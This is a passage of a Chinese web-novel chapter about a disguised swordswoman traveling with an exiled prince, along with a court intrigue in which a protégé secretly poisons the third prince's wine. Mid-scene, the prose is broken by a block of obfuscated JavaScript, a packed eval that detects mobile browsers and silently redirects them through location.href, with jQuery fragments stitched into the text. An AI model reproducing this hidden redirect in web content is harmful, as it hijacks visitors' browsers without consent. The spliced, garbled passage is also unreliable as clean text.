但细想起来,除了八年前鬼旸爷爷带着他来玄林探望他们,小住的那几个月,那之后,鬼机灵应该一直待在海外的虚无孤岛,如今应该也还在。 虚无岛比玄林更加避世,也难怪邹杲没寻到他的任何踪迹,更难怪那个女子没有闻讯赶来寻找邹杲。 另外,比起邹杲和鬼机灵是童年旧识,更让李棋诧异的事是师父说的鬼机灵身体特殊、以后要嫁人生子的事。 身体特殊?嫁人生子?该不会是她想的那样吧? 但是,她和子瞮那时候和鬼机灵一起吃喝住玩了好几个月,也没听鬼机灵和她们说过啊。 她只比鬼机灵年长一岁,关系非常亲近,比起同为男孩的子瞮,鬼机灵明显更加依赖喜欢她,一半的身手还是天天跟在她屁股后面,被她锻炼出来的呢。 那时候鬼机灵也从来没有穿过女装,甚至李棋心血来潮想打扮他,他还异常抗拒,当场就含泪欲哭,李棋哄了好半天才哄好。 十岁难道就不算小时候了吗? 邹杲今年二十二,比她年长三岁,而邹杲遇到小女孩是在十岁,也就是说,他和鬼机灵私下交换定期信物,约定婚约的时候,鬼机灵才六岁。 比成武帝说的七八岁还小一些。 六岁,鬼机灵这么机灵吗? 十岁和她还有子瞮一起玩的时候的鬼机灵明明还很木楞腼腆啊。 难道是长大了,知道害羞了? 还有,六岁的鬼机灵是怎么穿金戴银跑到嬴国皇家的猎场中去的,难道鬼旸爷爷和嬴国皇族还有来往? 又想起刚刚在客栈里她娘亲和她说的那些话,李棋越发头疼。 她的师父到底在谋划什么? 鬼机灵是真的身体特殊,还是又一枚棋子? 还有师父对她的保证,应该都是真的吧? 诸多疑问,李棋一时找不到答案。 唯一能确定的一点便是在见到鬼机灵前,李棋都不会、也不能再打邹杲的主意。 虽然她没听到鬼机灵说过有一个私定终身的情郎,但是万一呢。 毕竟她和鬼机灵第一次见面是在鬼机灵十岁时,那时候,鬼机灵也不小了,羞于和她说也是正常的。 天下男人多了去了,长得好看的更不少,李棋可做不出和弟弟抢男人的事来。 反正邹杲现在也把她当男人看,那就以兄弟相处吧。 至于师父说的换上女装,挑选如意郎君,遇到喜欢的再说,也不急于这一时。 别的阴谋阳谋则兵来将挡水来土掩,她小时候辛辛苦苦学了那么多东西,可不是白学的。 想通后,李棋一跃翻上马车,她掀开帘子一角,叩叩门框,对邹杲吹了个口哨,打趣笑道:“王爷,想找的人找到了,还无精打采做什么,赶紧让你的千赤动起来,咱们立马出发去见他!” 邹杲抬头看向她,情绪更加低落。 “你很开心?” 李棋一愣,她觉得邹杲的话意有所指,还过于暧昧,好像她负了他一样。 李棋有些不自在。 但是看着邹杲手中的双鱼挂坠,想起曾经屁颠屁颠跟在她身后的鬼机灵,李棋连忙将那些不该有的想法从脑袋中赶出去。 李棋若无其事笑道:“我期待已久的江湖之行即将开始,还能在不久之后见到我阔别多年的……妹妹,我难道不该开心吗?” 瞥了眼他手中的双鱼挂坠,李棋又感慨道:“缘分真是奇妙,刚刚我们才说起你儿时念念不忘的小女孩,这会儿便得知你寻找的女孩竟然是我的妹妹。” 她笑了笑又道:“你之前还叫我贤弟,如今,却得叫我一声兄长了。” 李棋又吹了个流氓哨,挑眉坏笑,“王爷,叫声兄长来听听。” 邹杲似笑非笑看着她,没有喊人,只道:“虽然这挂坠的确是我爹做的那个,但你妹妹是否与我有缘,还得见了她才知。” 说罢,他轻轻唤了千赤一声,千赤缓缓拉着马车前行,他也收回视线,像是生李棋气了,不再搭理李棋。 李棋笑得有些脸酸,她放下帘子,卸下伪装,想着邹杲那话的意思。 不顾一切要找人的是他,如今有了消息,怎么不高兴的也是他? 他究竟是怎么想的? 还是说,邹杲对那女子的身份有大概的了解,和鬼机灵对不上? 李棋又想和邹杲搭话套话了。 思虑片刻,她一边驾驶马车,一边隔着帘子又和邹杲说话。 “王爷,你作为王爷,出行不带几个仆从的吗?我可不是你的仆从,照顾你一小会儿可以,总不能一直照顾你吧。” 马车里又传来动静,是邹杲移到了门边。 “权力都没了,何来的仆从。” 邹杲的声音非常近,几乎就在李棋耳边。 他的声音听起来淡然又落寞,还有几分耍无赖的意味。 “李兄,你得送佛送到西。”邹杲说,“无论是寻药,还是寻人,都得靠你了。” 李棋心梗,心道:我欠你的吗?你我不过萍水相逢,相识也一日,你既不是我什么人,也还不是我妹夫,我凭什么为你这么操劳? 但她没有说出口,只哼哼笑道:“那便看你的表现了。” 邹杲轻笑,“需要如何表现,愚兄愚钝,还请贤弟言明。” “文绉绉、酸溜溜的,虚假得很。”李棋嫌弃掀开帘子,“你要是有这个诚心,便自己好好想吧。” 说罢,李棋放下帘子,高喝了一声‘驾!’ “那我便好好想想吧。”邹杲学着她的语气重复。 李棋只觉他烦人得很,也懒得再想法设法套话,没再搭理他。 之后,邹杲也没有再说话,也不知道是真的在想要如何在她面前好好表现,还是在想别的什么。 两人就这么安静地出了城,一路向北方而去。 * 下午,太阳开始西斜,李棋又累又饿,千赤的精神也不复。 喊了邹杲几声,不见他回应,李棋便自己做主让千赤停了下来。 李棋将马车停到一处空旷的林子边,她一边叮嘱让千赤别走远,一边解开绳索,暂时还千赤自由。 千赤也的确比一般马儿听话,得到自由后,乖巧走到不远处李棋刚刚所指的一片翠绿鲜嫩的草地中啃了起来。 “王爷!”李棋阴阳怪气喊着,掀开帘子。 邹杲靠在马车上睡着了,手里还拿着一本书。 虽然决定不打邹杲的主意了,但是火红的夕阳下,看到这般美景,李棋的心脏还是不由得怦怦跳了起来。 邹杲真的会长,也惯会勾人。 李棋担心自己做出对不起弟弟的事,嘀咕了一句“男狐狸精”,而后没好气放下帘子,转身就又进入了林子中。 李棋不知道的是,她才下马车,车中原本熟睡的男人便笑意盈盈睁开了眼睛。 * 李棋的运气不错、实力也不低,不到一刻钟,她便逮到了两只野鸡,还在附近找到了一条小溪。 等她把两只野鸡清洗干净,抱着柴火回去时,邹杲已经生起了一堆火。 李棋抱着东西走近,看着上来接她的邹杲,故意调侃他,“呦,这是还是我们身份尊贵、又柔弱不能自理的王爷吗?不但会自己醒过来,还会捡来柴火生火呢。” 邹杲笑得无奈,“贤弟,莫要拿愚兄打趣了。” 她放下柴火,在邹杲旁边坐下,拿过他手里的一只野鸡的鸡爪子就去戳邹杲的脸,“我看看,你没被掉包吧?” 邹杲失笑,伸手抓住鸡爪,顺势将整只鸡接了过去,“给我吧,贤弟抓鸡辛苦,剩下的活就交给我吧。” 邹杲面前还插着五根削尖的棍子,李棋嗯哼一声,挨个将清洗干净的鸡递给邹杲。 邹杲非常不客气,仿佛两人真是相识多年的好兄弟。 他使唤道:“李兄,马车左边的暗格有很多我搜罗来的秘制调料,下面还有两坛醉红尘,你去都拿来吧。” 见邹杲在忙活,李棋也没跟他斤斤计较,非常干脆起身,朝马车走去。 之前没细看,现在进入其中才发现,这马车的暗格还挺多。 不过,李棋还是很有教养的,并没有乱翻乱碰,她只从邹杲说的两处分别取出调料和酒,便下了车。 邹杲已经将两只鸡都固定到准备的木棍上。 见她出来,笑盈盈朝她伸出手。 李棋被这笑晃得有些移不开眼睛。 见她许久没动,邹杲轻笑道:“李兄,盯着我看做什么,是我的脸被火灰弄花了吗?何处?是这里吗?” 他说着,还微扬下巴,骨节分明的修长大手从侧脸顺着硬朗流畅却不失精致的下颌线往下滑。 这个动作,让李棋能清楚看到他的手、下颌,还有下颌之下那惹眼的喉结。 这是男人的要害,也是男人最具吸引力的几处之一。 要不是邹杲一声声的李兄、贤弟,李棋真的会自恋的认为邹杲在故意勾引她。 李棋心中骂道:男狐狸精,再这么风/骚,哪天被人吃干抹净都没地哭。 李棋没好气在心里骂着,上前将用锦囊保护着的陶瓷瓶装着的四五样调料都扔给了邹杲。 邹杲保持则坐着原本的姿势没动,只微微后倾抬手,轻而易举接住了李棋连着刻意扔偏的好几样调料。 一一接住后,他也不恼,只笑着将东西都放在面前。 他解开最大的那个锦囊,看着他拿出和瓶盖连接着的刷子,李棋眼睛都睁大了。 不愧是王爷,还真会享受。 邹杲似乎不觉得有什么不妥,一边耐心用小刷子往鸡肉上刷油,一边骄傲说:“李兄别板着脸,我常年行军在外,这一门烤肉的技艺早已被我掌握得炉火纯青,皇上都夸了我无数次,今日,一定让李兄大饱口福。” 李棋掀开其中一坛酒,抱着酒坛畅快喝了一口,轻睨着邹杲,“皇帝还拿你当伙夫用?” 邹杲也不觉难堪,笑道:“只是偶尔。” “我毕竟是战神,不是厨神。” ……牙尖嘴利的模样,李棋一时不知道该怎么回,只皮笑肉不笑恭维,“你还挺幽默。” 邹杲笑笑,也不反驳,只看着李棋手中的酒,“李兄,好酒当共饮。” 李棋看看他,又看看手里的酒,想了想,她还是重新打开一坛递到邹杲面前。 邹杲一手拿着鸡,一手拿着刷子,无奈笑道:“李兄是打算让我用脚拿着喝吗?” “你有这个本事也不是不行。” 李棋话虽这么说,还是微微起身,拿着酒坛子喂了邹杲一大口。 见邹杲差点呛到,李棋才满意收手。 她将邹杲喝过这坛放到邹杲身侧,坐回原位,抱着她喝过那坛又灌了一大口,而后也不管咳嗽不止的邹杲,心情愉悦从腰侧的皮包中取出师父给的小册子。 邹杲眼泪都咳出来了,他缓过来后,委屈看向李棋,“李兄,我还没死在‘无忧’手里,却差点死在你手里。” 李棋完全不看他,只道:“我又不是故意的,谁叫你嘴馋。”又道,“别磨蹭,呛两下不会死,但是饿太久真的会死人。” 邹杲很委屈,但是见李棋现在看得认真,不愿搭理他,他也不讨这个嫌。 安静下来,两人的进度都快了不少。 很快,邹杲将两只鸡都刷上油,放到了火上烤着。 李棋也渐入佳境,很快便把师父特意写的需要注意的事宜记了个七七八八。 烤出来的油滴在火上,发出噼里啪啦的声音,相比之下,两人的呼吸声轻得不行。 李棋看得认真,邹杲也看得认真。 习武之人本就敏锐,何况李棋对邹杲还有那么点心思。 记得差不多,李棋准备打邹杲个措手不及,她直接抬头看向邹杲。 对视的一瞬间,她看到邹杲明显的惊诧和慌乱,不过很快,邹杲便恢复她熟悉的笑意盈盈、甚至有点笑里藏刀的模样。 这惊诧和慌乱李棋不好定义,但是也没有再自恋地将其归咎于邹杲心悦她。 毕竟,不管她做不做伪装,邹杲都眼瞎耳聋,一直把她当男人。 这时,邹杲主动开口笑问:“李兄这是都记住了?” 不等李棋回答,他又道:“正好,肉也马上熟了。” “嗯。”李棋点头,干脆收起手中的小册子。 看着邹杲手中烤得金黄的野鸡,李棋口水直流,伸手就想接过,但邹杲却摇头躲开,“还没熟透,再等片刻,” 话音未落,突然,不远处传来一些窸窸窣窣的动静,连在不远处吃草的马都警觉起来。 见邹杲没有什么反应,李棋也没直接挑明,只看着邹杲道:“王爷,你给我句准话,你有没有安排人在暗处跟着我们?” 说完,不等邹杲回答,她又道:“离开鄂阳,我这眼皮就老是跳,我总感觉这一路我们不会太好过。” “感觉这一切好蹊跷,先是我师父这么谨慎的人被算计,然后还没有配出解药的‘无忧’又被你全部喝了下去,你可是世人心目中的战神啊,但是你现在却不得不离开鄂阳去寻找解药。” 李棋说着,露出了惊恐的眼神,声音放低许多,凑在他耳边低声道:“不会是皇帝觉得你功高盖主,所以设计了这一切,想在路上杀了你,让你死在外面吧?” 邹杲扭头定定看着她,像是审视,但在李棋撤开前,先失笑摇头,无奈道,“皇上忌惮我也只是忌惮我手中的兵权。还记得你心心念念的那半个铜老虎吗?” 李棋点点头,又凑近些,压低声音嬉笑道:“嘿嘿,就咱们兄弟二人,不装了,你给我透个底,那半个虎符能调动多少人啊,以至于皇帝这么忌惮你。” 邹杲语气淡淡,“至少能调动镇守在北面边关二十万神武军的一半,也就是大嬴近四成的精兵吧。” 李棋瞠目结舌,呆愣咽了咽口水。 这回,换邹杲主导了。 邹杲挑眉笑问:“如何,现在还想要那个铜老虎吗?” 十万大军,这个数量远远超过了李棋的预期。 震惊归震惊,李棋却不在怕的。 “想要,那个铜老虎真的好精致、好漂亮,”李棋用天真的语气笑问,“我可以偷偷仿制一个玩吗?” 邹杲一滞,片刻才挑眉用同样无邪的语气回道:“可以啊!” 邹杲笑得眉眼晚晚,但那不达眼底的笑意,一看就没憋着好屁。 果然,只听他又说:“只是,如果被发现,那可是要砍头,砍九族的头的。” 他说着,还将手里的烤鸡都插在了火堆边,然后意兴阑珊扭头直勾勾看着李棋。 李棋咂舌,却不怂,得意笑道:“那正好,别说九族,我连我父母是谁都不知道。至于抓我……没那么容易!” 真不是李棋自大,而是她的确是一人藏好,全家不慌,并且,她也真有这个本事。 不过,话虽这么说,但是当李棋看到邹杲从袖带中掏出的东西时,还是瞪大了眼珠子。 邹杲从袖袋深处掏出一个赤铜色的完整小老虎,那形状、那成色和之前他交出去的几乎一模一样,只是体积缩小了近一倍,而且这个不是从中间破开的一半,而是完整的一个的。 “你你你……”李棋惊得话都说不清楚了。 她这会儿是真的震惊,既震惊邹杲的狼子野心,也想不通邹杲为什么要在她面前暴露他的野心。 与她的惊诧不同,邹杲依旧淡然。 李棋太过震惊,半天才把自己要说的话说完,“你不是怕功高盖主,不是要浪迹江湖?” 邹杲只是笑,还笑着把小老虎塞到了她的手里。 李棋不收,邹杲却非要往她手里塞,李棋握着它,扔也不是,收也不是。 看着李棋这模样,邹杲的笑容更加粲然,还有几分坏心眼得逞的得意。 他压低声音,轻笑道:“以前偷偷仿的,我也觉得它精致可爱。难得遇到志同道合的,我也玩够了,现在给你玩吧,藏好了哦。” 他凑得更近一些,呼吸直接喷洒在李棋脖颈耳侧,勾得李棋心里痒痒麻麻的。 “虽然我也没有九族可以诛,但是被发现了,还是会死得很惨的。” 说罢,盯着她看了片刻,邹杲才撤身离开,一手拿起一只烤鸡那叫一个认真,李棋也在他的轻笑声中回过神来。 李棋盯着他,直白道:“你想拖我下水?” “嗯?”邹杲面色无辜,像是没听懂她在说什么,“只是个小玩意,下什么水?” 看着故意装傻的某人,李棋也转变了想法。 她颠了颠手里的铜老虎,将它紧紧握在手里,勾唇笑道:“不过问题不大,真遇到要命的情况,我跑得比兔子还快。” 李棋说着,从腰包里掏出一个小小的香包,她把里面的香料掏出来一些,把铜老虎放了进去,然后又放回了腰包里。 见邹杲盯着她的腰包,李棋颇为得意道:“一个长辈送我的生辰礼,漂亮吧。” 邹杲点头,眼睛亮晶晶看着她问:“你很喜欢?” “你这不是废话吗,不喜欢我带出来干什么。”李棋白他一眼,又说,“好了,把你的心放回肚子里吧,我保证,只在晚上睡觉的时候才把它拿出来把玩。” 笑呵呵说着,李棋犹觉不够,直接凑到邹杲身旁,在他耳边隐秘低语,“这件事,就天知地知,你知我知,为了我们的脑袋,我们都要守好秘密哦!” “这是自然。”邹杲笑着点头。 两人像商量着要一起去干坏事的小孩一样,四目相对嘿嘿笑了好一会儿。 笑了太久,李棋差点被自己的口水呛着,咳嗽了起来。 邹杲双手都拿着烤鸡,翻面的间隙,还不忘用烤鸡指着她,幸灾乐祸嘲笑着她。 等李棋抱起酒坛子喝了一大口,好不容易缓过来,邹杲又将香喷喷的烤鸡拿到她面前诱惑她,但在她眼巴巴伸出手的瞬间,邹杲又将烤鸡拿了回去。 “还有两样没撒呢。”邹杲笑道。 李棋非但不恼,还举起大拇指恭维,“姜兄,你这手艺的确可以啊,没完成都好香了。” 对于她突然冒出来的称呼,邹杲一愣,但随后便随她去了。 他也跟着笑,边笑边将其他的调料撒在烤鸡上,香味越来越浓郁,馋得李棋又是舔嘴唇,又是咽口水,还猛灌了两大口酒解馋。 看着邹杲手里越发色香俱全的烤鸡,李棋口水都要掉下来了。 她甚至伸出了双手,做好了双手接过烤鸡的准备。 但是,邹杲没有直接给她,而是一手拿着烤好的两只烤鸡,一手提着大半坛酒站了起来。 他笑着说道:“走了,先救我的命要紧。” 这会儿虽然是傍晚,但是时值五月,今晚的夜色估计会很明亮。 现在走的也是官道,这估计也是他们明明都听到身后有动静,但却迟迟没有与其正面交锋的原因。 “行吧,那就边走边吃吧。” 李棋起身踩熄火堆,抱着她那半坛酒,任劳任怨跟上。 千赤已经乖乖走到马车旁,邹杲双手都拿着东西,没办法套马。 李棋将自己的酒往邹杲怀中一塞,上前三两下将千赤和马车套好。 这次,邹杲没有再坐到马车里面,而是在驾车的另一边。 接过邹杲递来的烤鸡,李棋打趣道:“怎么,不要你的王爷架子了?” 邹杲仰头喝了一大口酒,可怜又无助讨好笑道:“我的底牌没有了,再摆王爷架子,容易没命。” 说罢,他轻轻扯动缰绳,让千赤动了起来。 李棋挑眉笑了笑,也没说话,只大口啃邹杲烤的烤鸡。 还别说,邹杲这烤肉的技术真的非常可以,比李棋之前吃过的所有好吃的都好吃。 一口肉,一口酒,好不快活。 邹杲看了一会儿,让她吃慢点,说不够可以把自己的分她一半。 李棋嘴里塞得满满的,只朝他举起酒坛算是示意。 邹杲无奈好笑,但也配合举起自己的酒坛和她碰了一下。 吃饱喝足的千赤也恢复了活力,夕阳西下,它走得不急不缓,带着他们重新回到官道上。 他们渐渐远离繁华的皇城,虽然身后始终有人跟着,但是却十分难得且悠闲的,吃着美味的烤鸡,看了一场绚烂的日落。 ** 皇城逐渐被黑暗笼罩,哪怕有还未熄灭的万家灯火,被厚厚的乌云笼罩着的皇城依旧有很多黑暗之处。 还是那家药铺,还是那间房间,还是那个人在等待,但是前往赴约的人却变了。 毒赋正在看书,听见敲门声响了三声,他不急不缓放下书,起身开门。 门外是一个高大清俊的年轻男子,男子一声月牙白的素衣,文质彬彬,好一个翩翩公子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680490|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒赋微微弓腰侧身站在门边,不恭不敬的将来人迎进来,“大人。” 男人身体一僵,他苦涩笑着,一边进屋关门,一边轻语道:“师父,您与我生疏了许多,三年前,您都还唤我子瞮的。” 毒赋却并没有要和他叙旧的意思,“大人自重。” “师父,”子瞮喊着,想上前抓住毒赋的手,但是毒赋在他之前,先后退几步躲开了。 子瞮愣怔站在原处,久久没有说话。 毒赋负手背对着他,良久,还是做不到真正绝情。 “并非只有争权夺利才能证明个人本事,成为万人之上的敬仰更是难于登天,与虎谋皮、无异于自掘坟墓,你虽向来聪明机敏,但聪明也容易反被聪明误。” 毒赋还是转过身来,看向子瞮苦口婆心劝道:“子瞮,就此罢手,还来得及。” 毒赋所说,子瞮怎么能不知,但是每当他想放弃,熊熊的烈火就会在他脑海中燃烧,炙烤得他头疼,这让他如何放下。 还有所有人对他和师妹的区别对待…… 早在三年前,他放下狠话说哪怕断绝关系也要走出玄林时,他便已经没有回头路了。 不做出一番成就,他如何有脸面面对师父,如何面对师妹。 “我已经入局,没办法收手了。”子澈拱手作揖,“多谢师父的配合,邹杲那边,就交给您和师妹了,在年底祭天大典开始前,请务必让邹杲活着在外飘荡。至于之后,是死是活就无所谓了。” “大人放心,皇上早就交代过的,草民不敢不从。”毒赋的声音也冰冷疏远下来。 他不再劝说,不再犹豫,从袖子里掏出了两个小瓶子,“这是陛下要的药物。” 毒赋将两个瓶子递给子瞮,叮嘱道:“红口瓶子里的白色粉末是剧毒,每日服用少许,不出半年,定会衰竭身亡;绿口瓶里的粉末则能让人逐渐忘记过往记忆,致使思维迟钝。” “前者剧毒且不可逆转,大人切记不要弄混。” “我记住了,师父放心。”子瞮接过两个小瓷瓶,拱手鞠躬行礼道,“夜深了,师父好生休息,徒儿回了。” 说罢,他将东西收在袖子里,原地踌躇片刻,还是转身大步离开了,很快就消失在黑夜中。 ** 深夜,重新修缮好的三皇子府。 “子瞮,你说为、为何回到都城就、就非得尔虞我诈、互互相猜忌呢?和之前一样不好吗?”邹瑅喝得思维混乱、口齿不清。 他一边抓着子瞮一只手和他倾述,一边高举着酒杯,拉着子瞮让子瞮陪他喝酒,“幸好你还陪在我身边,来、来,我们继续喝!” 邹瑅迷迷糊糊的,见拉不动子瞮,举起酒杯,自顾自仰头喝了下去。 他半天摸不到酒,将杯子往子瞮面前一放,蛮不讲理的小孩一样叫嚣,“子、子瞮,给、给我满上!满上!” 看着因为邹杲离去而喝得大醉、伤心欲绝的邹瑅,子瞮莫名想起了三年前他故意把自己弄伤,奄奄一息倒在路上被邹瑅救下时的模样。 那时,他不过十六岁,虽然下定了决心,但终究还很年轻,对于未知的一切都很忐忑。 是邹瑅,主动将他带回军营;也是邹瑅,温柔安抚假装做噩梦的他;更是邹瑅,让他留在了军营中,留在成武帝的看得到的地方。 可以说没有邹瑅,就没有他的今天。 在军营中,邹瑅也是唯一真心实意对他好的人,但邹瑅却不是只对他好。 邹瑅对所有人都好,特别是对邹杲,对这个处处压他一头的义兄尤其的敬仰。 子瞮想不通。 的确,邹杲在领兵作战方面,尤其厉害,对成武帝和邹瑅这个三皇子也似乎是忠心耿耿。 但是邹杲明明无时无刻不在和邹瑅保持距离,邹瑅又何必一次又一次地主动讨好。 明明,只要邹瑅愿意往身后看看,排着队渴望和他亲近的人多不胜数。 看着一会儿要酒,一会儿念叨邹杲的邹瑅,子瞮终于还是狠下了心。 他的手伸进袖子里,缓缓打开了小瓷瓶,手指抵在瓶口抹了抹,然后在邹瑅的催促下,接过酒杯给他倒满了酒。 酒浇着子瞮的手指,仿佛淋在他的心上。 喝大了的邹瑅却全然没注意到这些。 见杯子里又有了酒,他迷迷糊糊端起便一饮而尽。 “不愧是天下、下第一阁的红、红尘醉,好、好酒!好酒啊!” 邹瑅高声喝道,喊完,又趴在桌子上让子瞮继续帮他倒酒。 子瞮平静看着,并没有再给他倒酒。 他知道,这红尘醉是为了和邹杲畅饮,邹瑅特意花了大价钱去天下第一阁买的。 趴了一会儿,只听邹瑅含糊不清又嘟哝道,“真不过瘾,以前,我和阿杲都是直接抱着酒坛喝的。” 他抓住子瞮的手,激动道:“子瞮,我、我跟你说,你别看阿、阿杲带兵打仗那、那么勇猛,但是,阿杲他、他酒量还不、不如我,通常一坛酒还没、没下肚,他就、就不行了,这是我唯一比、比得过阿杲的,” 说着,他就嘿嘿笑了起来。 明明是在说不甘,但邹瑅不见任何嫉妒厌恶之色,恰恰相反,邹瑅笑得与孩童无异。 子瞮没出声,拿起酒坛,又倒了一杯酒塞到邹瑅手里。 邹瑅摸索着接过,子瞮递一杯,他就喝一杯,全然没注意到子瞮动的手脚。 “每每打了胜仗,父皇总会放我们悠闲几日,我们经常地为床天为被,半夜冷、冷了,我老是扒他的衣物取、取暖,把他吵醒之后,他就会揍我,我自然不服,然后就打架,我知道他故意让着我,所以我越发不讲理,故意去撕扯他的衣服,折腾得最后谁、谁都又冷又冻,睡不成觉,哈哈……” 邹瑅喝着酒,絮絮叨叨说了很多,每一句都离不开邹杲,子瞮沉默听着。 直到邹瑅完全醉死过去,他才扶着邹瑅回到寝房,亲自照顾他躺下休息,然后回到隔壁邹瑅特意给他准备的院子里。 * 大嬴的官员原本是三日一朝,三朝一休。 但大嬴一统以来,事务繁忙,成武帝勤政,便下令修改为隔日上朝,半月一休,每月十五、月末方能休息,早朝的时间也很早,卯时便已经开始(早上五点)。 此时,邹瑅的酒还没完全醒,不但被子瞮送入浩鸿大殿时他还迷糊着,后面,他父皇和其他朝臣议事,他也听得并不清楚。 脑袋还有些晕乎的他根本没多余的精力去深究,比如子瞮作为他的门客,是如何能直接进入威严肃穆的浩鸿大殿的;更没精力去细看子瞮今日的着装。 直到,从他父皇口里听到子瞮的名字,他才猛然清醒过来。 “……既然瑅儿没有异议,那么,瑅儿府上的客卿子瞮即刻搬至典客府,担任典客一职。” “父皇,我……”邹瑅话没说完,人群末端,站在大门角落里的子瞮从阴暗不显眼的角落中走到中间,跪下叩首高喊,“微臣领命,叩谢皇恩!” 子瞮的声音很大,直接盖过了邹瑅的声音。 虽然邹瑅就站在成武帝脚下,但成武帝似乎没有听到邹瑅的声音,只对子瞮淡淡道:“起来吧。” 邹瑅回头看着子瞮谢恩,只见常常身着清雅白袍的子瞮此刻穿上了典客才能穿的红色官袍。 子瞮像是没看到他一样,得令可以起身后,卑躬屈膝快步后撤着回到原本属于他的角落。 邹瑅见状,转过头便恳请父皇收回成命,但是话还没来得及说出口,便先被站在他左边的皇伯父颍王拉住了。 皇伯父面色凝重朝他摇头,示意他不要在此时说话。 邹瑅后知后觉,小心翼翼抬头一看,便和他父皇威严冷冽的眼神对上。 一瞬间,邹瑅心中咯噔一下,只觉呼吸都要停了。 不过,他父皇并没有要和他深究的意思,只冷冷扫了他一样,便继续商讨交代其他事宜。 听到右边传来的一声微不可察的嘲讽冷哼,邹瑅一转头,便对上他二哥邹珣挑衅轻蔑的笑容。 邹瑅攥紧了拳头。 他不知道的是,人群末端,垂首低眉顺目的子瞮也抓破了自己的手心。 现在大嬴一统,除了西边和北边的几个小部落,再无其他拥有自主权的国家。 何况,西南那边的最大部落——蛮族也在攻打唐国时内应有功,并主动对大嬴俯首称臣,几乎算不得威胁。 也就是说,如今,九卿中的典客这个负责外交的官职形同虚设,可以说是毫无实权。 这并不是皇帝原本承诺他的。 “卿等可还有事启奏?”成武帝威严道,“无事便自行散去罢。” 没有人吭声,沙於喊了退朝,成武帝起身离开后,众官员也陆续离开。 邹瑅不敢去追自己的父皇,他大步朝子瞮走过去,一把抓住想要躲开他的子瞮的胳膊。 “子瞮,这是怎么回事?你不是说只想做我的客卿辅佐我吗?怎么突然就成为典客了?你想入朝为官为什么不直接和我说,为什么直接越过我去找父皇,你明知父皇向来不喜你……” 他无心的每一句,都像利刃扎在子瞮的心上。 在邹瑅心中,他永远比不上邹杲,哪一方面都是。 子瞮没法再听下去,努力维持着体面,急声打断:“下官不知殿下在说什么,一切都是陛下的旨意。” 他不动声色挣扎着,连退了好几步。 邹瑅原本还不愿放手,但注意到子瞮白皙的手腕被他抓得红了一片,他只能松手。 不料,就是这一松手,子瞮直接退到了他的半丈之外。 “下官新官上任,还有很多琐事需要处理,殿下恕罪,下官告辞。” 疏离说罢,子瞮逃也似地,匆忙离开。 看着子瞮远去的背影,邹瑅定定站在原地,心里五味杂陈。 先是阿杲远离朝堂,再是子瞮入朝为官,连父皇都不再和他亲近。 为何,小时候与父皇一起收复疆土的愿望实现了,其他一切却都往他预想的反方向发展呢? 为什么,他亲近的人非得一个个远离他? 邹瑅很苦闷,也有些生气。 最终,他也还是没忍住,掉头逆行去御书房寻找他父皇,但是才走了几步,却被他二哥拦住了。 “三弟,身边的人一个个疏远,很生气是不是?”邹珣惺惺作态,“作为你的皇兄,本宫劝你现在不要去找父皇理论,跟父皇离心,哪怕你从小跟着父皇征战,皇位怕是也与你无缘了。” “父皇身强体健,二哥慎言。”邹瑅向来和这个二哥不和,何况现在邹珣还诅咒父皇,邹瑅更是不喜他。 邹瑅说罢,直接大力甩开他的手,全然不管邹珣面上的不悦,快步朝御书房而去。 6. 无尽卷·第六章 6 邹瑅气冲冲跑到他父皇的书房,还没踏过门槛,就听他父皇不悦道:“木已成舟,你还来做什么?你的二哥难道没告诉你,此刻不该来找朕吗?” 邹瑅一顿,他就说,向来和他不对付的二哥邹珣怎么会突然好心来提醒他。 原来,一切都是父皇的安排。 虽然知道父皇会不喜,虽然心中惶恐忐忑,但邹瑅还是踏过门槛,一边朝父皇走去,一边委屈问:“所以,父皇,您为什么非要这样做?” 只听一声轻咳,其余伺候的宫女太监立刻退去,还关上了门,偌大的御书房就他们父子两人和一个从小看着他长大的老太监沙於。 邹瑅也不管那些繁重的礼仪了,如同的军营里一样,有什么说什么,“先是阿杲,然后是子瞮,父皇,为什么回到都城,我身边一个亲密的人的不能留了?” “沙於,你告诉他为什么。” “是。”沙於慈爱看向邹瑅,苦口婆心道,“殿下啊,您和子瞮典客的流言蜚语在鄂阳四处疯传,言语之粗俗下流,简直不堪入耳。好男色无伤大雅,您要真喜欢,老奴私底下再派人去给你寻就是,” 邹瑅听得眉头紧皱,但还是理智道:“谣传,都是胡说八道,我对男色并无兴趣,对子瞮更是只是单纯的欣赏他的才华。” 成武帝不悦扫了他一眼,沙於连忙又道:“殿下啊,你好不好男色不是重点,重点是有康建帝宠幸男妃致使我大嬴分裂、疆土流失、百姓苦不堪言在先,如今您再背上一个同样的骂名,日后陛下再让你去做事,文武百官和天下百姓又如何能信服你呢。” 沙於说得在理,邹瑅欲言又止,又想到邹杲。 不知道是不是他的脸长得太弱幼的缘故,早在子瞮未入军营前,他和邹杲便多次被编排,还有关系亲近的士兵大胆询问。 当时,他们身处绝境,邹瑅还差点以为自己和邹杲这回必死无疑,也无心纠结这些。 但是后来,邹杲力挽狂澜、带着他们死里逃生。 脱险回到营地后,邹瑅还特意深入了解了一番,包括但不限于从士兵口中询问、翻阅相关话本画册。 他了解得越多,越觉得离谱,阿杲再厉害,再让他仰慕,也取代不了香香软软的美娇娘。 他并没有当回事,并在喝酒说笑时当做笑话说给邹杲听。 邹杲当时只说八个字‘闲得慌,不用管他们’,而后便举起酒坛和他继续喝酒。 邹瑅一直都知道邹杲心中惦念着一个女子,在确定邹杲不会因为这荒谬的传言和他疏远后,他也放松了,乐呵呵和邹杲勾肩搭背,继续大口喝酒,畅快说笑。 邹瑅记得,他当时还半是玩笑半是认真逗邹杲,说要找两个女子给他们都见识下新天地,但最终被邹杲言辞犀利地拒绝了。 因为这事,他还怀疑邹杲对他是不是有点心思,只是碍于身份不敢坦白。 他可接受不了,还想找个女子试探捉弄一下邹杲来着。 只可惜,因为敌军突然的偷袭,他也没机会再找个女子来捉弄邹杲。 